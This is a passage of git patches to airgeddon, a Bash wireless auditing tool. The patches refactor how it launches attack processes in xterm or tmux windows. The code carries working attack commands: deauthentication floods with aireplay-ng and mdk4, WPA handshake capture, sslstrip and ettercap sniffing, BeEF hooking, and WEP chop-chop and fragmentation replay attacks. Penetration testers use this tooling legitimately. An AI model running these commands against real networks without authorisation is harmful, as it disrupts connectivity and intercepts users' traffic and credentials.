-geometry "${g4_middleright_window}" -T "Sslstrip" -e "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else - local sslstrip_pid - local sslstrip_cmd_line - sslstrip_cmd_line=$(echo "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" | tr -d '"') - while [ -z "${sslstrip_pid}" ]; do - sslstrip_pid=$(ps --no-headers aux | grep "${sslstrip_cmd_line}" | grep -v "grep ${sslstrip_cmd_line}" | awk '{print $2}') - done - et_processes+=("${sslstrip_pid}") + get_tmux_process_id "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" + et_processes+=("${global_process_pid}") + global_process_pid="" fi + #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "Sslstrip" -e "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" > /dev/null 2>&1 & } #Launch ettercap sniffer @@ -9717,18 +9665,14 @@ function launch_ettercap_sniffing() { fi manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"Sniffer\"" "${ettercap_cmd}" "Sniffer" - #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer" -e "${ettercap_cmd}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else - local sniffer_pid - local sniffer_cmd_line - sniffer_cmd_line=$(echo "${ettercap_cmd}" | tr -d '"') - while [ -z "${sniffer_pid}" ]; do - sniffer_pid=$(ps --no-headers aux | grep "$sniffer_cmd_line" | grep -v "grep $sniffer_cmd_line" | awk '{print $2}') - done - et_processes+=("${sniffer_pid}") + get_tmux_process_id "${ettercap_cmd}" + et_processes+=("${global_process_pid}") + global_process_pid="" fi + #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer" -e "${ettercap_cmd}" > /dev/null 2>&1 & } #Create configuration file for beef @@ -9991,8 +9935,6 @@ function launch_beef() { debug_print - local beef_pid - local beef_cmd_line kill_beef if [ "${beef_found}" -eq 0 ]; then @@ -10004,24 +9946,20 @@ function launch_beef() { rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 cp "${tmpdir}${beef_file}" "${beef_path}" > /dev/null 2>&1 manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "cd ${beef_path} && ./beef -c \"${beef_file}\"" "BeEF" - #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "cd ${beef_path} && ./beef -c \"${beef_file}\"" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - beef_cmd_line=$(echo "cd ${beef_path} && ./beef -c \"${beef_file}\"" | tr -d '"') - while [ -z "${beef_pid}" ]; do - beef_pid=$(ps --no-headers aux | grep "${beef_cmd_line}" | grep -v "grep ${beef_cmd_line}" | awk '{print $2}') - done - et_processes+=("${beef_pid}") + get_tmux_process_id "cd ${beef_path} && ./beef -c \"${beef_file}\"" + et_processes+=("${global_process_pid}") + global_process_pid="" fi + #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "cd ${beef_path} && ./beef -c \"${beef_file}\"" > /dev/null 2>&1 & else manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[19]}" "BeEF" - #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - beef_cmd_line=$(echo "${optional_tools_names[19]}" | tr -d '"') - while [ -z "${beef_pid}" ]; do - beef_pid=$(ps --no-headers aux | grep "$beef_cmd_line" | grep -v "grep $beef_cmd_line" | awk '{print $2}') - done - et_processes+=("${beef_pid}") + get_tmux_process_id "{optional_tools_names[19]}" + et_processes+=("${global_process_pid}") + global_process_pid="" fi + #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & fi if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then @@ -10049,18 +9987,14 @@ function launch_bettercap_sniffing() { fi manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"Sniffer+Bettercap-Sslstrip2/BeEF\"" "${bettercap_cmd}" "Sniffer+Bettercap-Sslstrip2/BeEF" - #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer+Bettercap-Sslstrip2/BeEF" -e "${bettercap_cmd}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - local sslstrip2_pid - local sslstrip2_cmd_line - sslstrip2_cmd_line=$(echo "${bettercap_cmd}" | tr -d '"') - while [ -z "${sslstrip2_pid}" ]; do - sslstrip2_pid=$(ps --no-headers aux | grep "${sslstrip2_cmd_line}" | grep -v "grep ${sslstrip2_cmd_line}" | awk '{print $2}') - done - et_processes+=("${sslstrip2_pid}") + get_tmux_process_id "${bettercap_cmd}" + et_processes+=("${global_process_pid}") + global_process_pid="" else et_processes+=($!) fi + #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer+Bettercap-Sslstrip2/BeEF" -e "${bettercap_cmd}" > /dev/null 2>&1 & } #Parse ettercap log searching for captured passwords @@ -10487,8 +10421,6 @@ function capture_handshake_evil_twin() { debug_print - local dos_cmd_line - local dos_pid if ! validate_network_encryption_type "WPA"; then return 1 fi @@ -10503,11 +10435,9 @@ function capture_handshake_evil_twin() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"mdk4 amok attack\"" "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - processidattack="${dos_pid}" + get_tmux_process_id "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" + processidattack="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 @@ -10517,11 +10447,9 @@ function capture_handshake_evil_twin() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - processidattack="${dos_pid}" + get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" + processidattack="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & sleeptimeattack=12 @@ -10530,11 +10458,9 @@ function capture_handshake_evil_twin() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"wids / wips / wds confusion attack\"" "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface} w -e ${essid} -c ${channel}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - processidattack="${dos_pid}" + get_tmux_process_id "mdk4 ${interface} w -e ${essid} -c ${channel}" + processidattack="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 @@ -10937,8 +10863,6 @@ function attack_handshake_menu() { debug_print - local dos_pid - local dos_cmd_line if [ "${1}" = "handshake" ]; then handshake_capture_check if check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "silent"; then @@ -11000,11 +10924,9 @@ function attack_handshake_menu() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"mdk4 amok attack\"" "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - processidattack="${dos_pid}" + get_tmux_process_id "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" + processidattack="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 @@ -11021,11 +10943,9 @@ function attack_handshake_menu() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - processidattack="${dos_pid}" + get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" + processidattack="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & sleeptimeattack=12 @@ -11041,11 +10961,9 @@ function attack_handshake_menu() { recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"wids / wips / wds confusion attack\"" "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - dos_cmd_line=$(echo "mdk4 ${interface} w -e ${essid} -c ${channel}" | tr -d '"') - while [ -z "${dos_pid}" ]; do - dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') - done - processidattack="${dos_pid}" + get_tmux_process_id "mdk4 ${interface} w -e ${essid} -c ${channel}" + processidattack="${global_process_pid}" + global_process_pid="" fi #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 @@ -11072,8 +10990,6 @@ function capture_handshake_window() { debug_print - local capture_handshake_pid - local capture_handshake_cmd_line echo language_strings "${language}" 143 "blue" echo @@ -11086,11 +11002,9 @@ function capture_handshake_window() { recalculate_windows_sizes manage_output "+j -sb -rightbar -geometry ${g1_topright_window} -T \"Capturing Handshake\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" "Capturing Handshake" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - capture_handshake_cmd_line=$(echo "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" | tr -d '"') - while [ -z "${capture_handshake_pid}" ]; do - capture_handshake_pid=$(ps --no-headers aux | grep "${capture_handshake_cmd_line}" | grep -v "grep ${capture_handshake_cmd_line}" | awk '{print $2}') - done - processidcapture="${capture_handshake_pid}" + get_tmux_process_id "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" + processidcapture="${global_process_pid}" + global_process_pid="" else processidcapture=$! fi @@ -13905,6 +13819,22 @@ function wait_for_process() { fi } +#Function to capture PID of a process started inside tmux and setting it to a global variable +function get_tmux_process_id() { + + debug_print + + local process_pid + local process_cmd_line + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + process_cmd_line=$(echo "${1}" | tr -d '"') + while [ -z "${process_pid}" ]; do + process_pid=$(ps --no-headers aux | grep "${process_cmd_line}" | grep -v "grep ${process_cmd_line}" | awk '{print $2}') + done + global_process_pid="${process_pid}" + fi +} + #Centralized function to launch window using xterm/tmux function manage_output() { From 23da2cea2b850f57ad21c558a89aae1d007cb205 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Tue, 2 Apr 2019 06:40:53 +0530 Subject: [PATCH 109/148] WEP Heredocs - Major code refactoring done to implement colors in WEP attacks --- airgeddon.sh | 470 ++++++++++++++++++++++----------------------------- 1 file changed, 205 insertions(+), 265 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index bf4486bd7..46958ed93 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2786,21 +2786,47 @@ function set_wep_key_script() { cat >&8 <<-EOF #!/usr/bin/env bash + AIRGEDDON_WINDOWS_HANDLING="${AIRGEDDON_WINDOWS_HANDLING}" EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&8 <<-EOF - function start_tmux_processes() { + cat >&8 <<-EOF - command_line="\${1}" - window_name="\${2}" + function manage_output() { - tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null - tmux new-window -t "${session_name}:" -n "\${window_name}" - tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER - } - EOF - fi + xterm_parameters="\${1}" + tmux_command_line="\${2}" + xterm_command_line="\"\${2}\"" + window_name="\${3}" + command_tail=" > /dev/null 2>&1 &" + + case "\${AIRGEDDON_WINDOWS_HANDLING}" in + "tmux") + local tmux_color + tmux_color="" + [[ "\${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="\${BASH_REMATCH[2]}" + start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" + ;; + "xterm") + eval "xterm \${xterm_parameters} -e \${xterm_command_line}\${command_tail}" + ;; + esac + } + function start_tmux_processes() { + + window_name="\${1}" + command_line="\${2}" + tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null + tmux new-window -t "${session_name}:" -n "\${window_name}" + local tmux_color_cmd + if [ -n "\${3}" ]; then + tmux_color_cmd="bg=#000000 fg=\${3}" + else + tmux_color_cmd="bg=#000000" + fi + tmux setw -t "\${window_name}" window-style "\${tmux_color_cmd}" + tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER + } + EOF cat >&8 <<-EOF wep_key_found=0 @@ -2968,27 +2994,22 @@ function set_wep_key_script() { window_position="${g5_topright_window}" sleep 0.5 + manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;eval \"\${wep_key_cmd}\"" "WEP Key Decrypted" + #xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "\${window_position}" -T "WEP Key Decrypted" -e "eval \"\${wep_key_cmd}\"" > /dev/null 2>&1 & EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&8 <<-'EOF' - xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "${window_position}" -T "WEP Key Decrypted" -e "eval \"${wep_key_cmd}\"" > /dev/null 2>&1 & - wep_key_window_pid=$! - { - echo -e "${wep_key_window_pid}" - EOF - else - cat >&8 <<-'EOF' - start_tmux_processes "clear;eval \"${wep_key_cmd}\"" "WEP Key Decrypted" - fi - EOF - fi if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then cat >&8 <<-EOF - } >> "${tmpdir}${wepdir}${wep_processes_file}" - fi + wep_key_window_pid=\$! + { + echo -e "\${wep_key_window_pid}" + } >> "${tmpdir}${wepdir}${wep_processes_file}" EOF fi + + cat >&8 <<-EOF + fi + EOF } #Create here-doc bash script used for wep all-in-one attack @@ -3002,32 +3023,57 @@ function set_wep_script() { cat >&6 <<-EOF #!/usr/bin/env bash + AIRGEDDON_WINDOWS_HANDLING="${AIRGEDDON_WINDOWS_HANDLING}" global_process_pid="" EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - function start_tmux_processes() { - - command_line="\${1}" - window_name="\${2}" - - tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null - tmux new-window -t "${session_name}:" -n "\${window_name}" - tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER - } - function get_tmux_process_id() { + cat >&6 <<-EOF + function manage_output() { + + xterm_parameters="\${1}" + tmux_command_line="\${2}" + xterm_command_line="\"\${2}\"" + window_name="\${3}" + command_tail=" > /dev/null 2>&1 &" + + case "\${AIRGEDDON_WINDOWS_HANDLING}" in + "tmux") + local tmux_color + tmux_color="" + [[ "\${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="\${BASH_REMATCH[2]}" + start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" + ;; + "xterm") + eval "xterm \${xterm_parameters} -e \${xterm_command_line}\${command_tail}" + ;; + esac + } + function start_tmux_processes() { + + window_name="\${1}" + command_line="\${2}" + tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null + tmux new-window -t "${session_name}:" -n "\${window_name}" + local tmux_color_cmd + if [ -n "\${3}" ]; then + tmux_color_cmd="bg=#000000 fg=\${3}" + else + tmux_color_cmd="bg=#000000" + fi + tmux setw -t "\${window_name}" window-style "\${tmux_color_cmd}" + tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER + } + function get_tmux_process_id() { - local process_pid - local process_cmd_line - process_cmd_line=\$(echo "\${1}" | tr -d '"') - while [ -z "\${process_pid}" ]; do - process_pid=\$(ps --no-headers aux | grep "\${process_cmd_line}" | grep -v "grep \${process_cmd_line}" | awk '{print \$2}') - done - global_process_pid="\${process_pid}" - } - EOF - fi + local process_pid + local process_cmd_line + process_cmd_line=\$(echo "\${1}" | tr -d '"') + while [ -z "\${process_pid}" ]; do + process_pid=\$(ps --no-headers aux | grep "\${process_cmd_line}" | grep -v "grep \${process_cmd_line}" | awk '{print \$2}') + done + global_process_pid="\${process_pid}" + } + EOF cat >&6 <<-EOF #shellcheck disable=SC1037 @@ -3058,51 +3104,34 @@ function set_wep_script() { wep_chopchop_launched=1 EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" "Chop-Chop Attack (1/3)" + cat >&6 <<-EOF + manage_output "-bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (1/3)\"" "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" "Chop-Chop Attack (1/3)" + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface}" wep_chopchop_phase1_pid="\${global_process_pid}" global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (1/3)" -e "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" > /dev/null 2>&1 & - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + else wep_chopchop_phase1_pid=$! - EOF - fi + fi + EOF cat >&6 <<-'EOF' - wep_script_processes+=(${wep_chopchop_phase1_pid}) - fi + wep_script_processes+=(${wep_chopchop_phase1_pid}) fi - ;; - 2) - EOF - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" "Chop-Chop Attack (2/3)" - EOF - else - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" > /dev/null 2>&1 & - EOF - fi + fi + ;; + 2) + EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + cat >&6 <<-EOF + manage_output "-bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" "Chop-Chop Attack (2/3)" + if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then wep_chopchop_phase2_pid=$! - wep_script_processes+=(${wep_chopchop_phase2_pid}) - EOF - fi + fi + EOF cat >&6 <<-'EOF' + wep_script_processes+=(${wep_chopchop_phase2_pid}) wep_chopchop_phase=3 ;; 3) @@ -3110,24 +3139,16 @@ function set_wep_script() { if [ -z "${wep_chopchop_phase2_pid_alive}" ]; then EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" "Chop-Chop Attack (3/3)" - get_tmux_process_id "aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" - wep_script_processes+=("\${global_process_pid}") - global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" > /dev/null 2>&1 & - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' - wep_script_processes+=($!) - EOF - fi + cat >&6 <<-EOF + manage_output "-hold -bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (3/3)\"" "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" "Chop-Chop Attack (3/3)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + get_tmux_process_id "aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" + wep_script_processes+=("\${global_process_pid}") + global_process_pid="" + else + wep_script_processes+=($!) + fi + EOF cat >&6 <<-'EOF' wep_chopchop_phase=4 @@ -3160,24 +3181,16 @@ function set_wep_script() { wep_fragmentation_launched=1 EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" "Fragmentation Attack (1/3)" - get_tmux_process_id "aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface}" - wep_fragmentation_phase1_pid="\${global_process_pid}" - global_process_pid="" - EOF - else - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (1/3)" -e "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" > /dev/null 2>&1 & - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + cat >&6 <<-EOF + manage_output "-bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (1/3)\"" "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" "Fragmentation Attack (1/3)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + get_tmux_process_id "aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface}" + wep_fragmentation_phase1_pid="\${global_process_pid}" + global_process_pid="" + else wep_fragmentation_phase1_pid=$! - EOF - fi + fi + EOF cat >&6 <<-'EOF' wep_script_processes+=(${wep_fragmentation_phase1_pid}) @@ -3187,50 +3200,32 @@ function set_wep_script() { 2) EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" "Fragmentation Attack (2/3)" - EOF - else - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" > /dev/null 2>&1 & - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' - wep_fragmentation_phase2_pid=$! - wep_script_processes+=(${wep_fragmentation_phase2_pid}) - EOF - fi + cat >&6 <<-EOF + manage_output "-bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" "Fragmentation Attack (2/3)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + wep_fragmentation_phase2_pid=$! + fi + EOF cat >&6 <<-'EOF' wep_fragmentation_phase=3 + wep_script_processes+=(${wep_fragmentation_phase2_pid}) ;; 3) wep_fragmentation_phase2_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_fragmentation_phase2_pid}$" 2> /dev/null) if [ -z "${wep_fragmentation_phase2_pid_alive}" ]; then EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - start_tmux_processes "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" "Fragmentation Attack (3/3)" + cat >&6 <<-EOF + manage_output "-hold -bg \"#000000\" -fg \"#0000FF\" -geometry ${g5_left6} -T \"Fragmentation Attack (3/3)\"" "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" "Fragmentation Attack (3/3)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" wep_script_processes+=("\${global_process_pid}") global_process_pid="" - - EOF - else - cat >&6 <<-EOF - xterm -hold -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" > /dev/null 2>&1 & - EOF - fi - - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then - cat >&6 <<-'EOF' + else wep_script_processes+=($!) - EOF - fi + fi + EOF cat >&6 <<-'EOF' wep_fragmentation_phase=4 @@ -3269,24 +3264,17 @@ function set_wep_script() { wep_script_processes=() EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - cat >&6 <<-EOF - 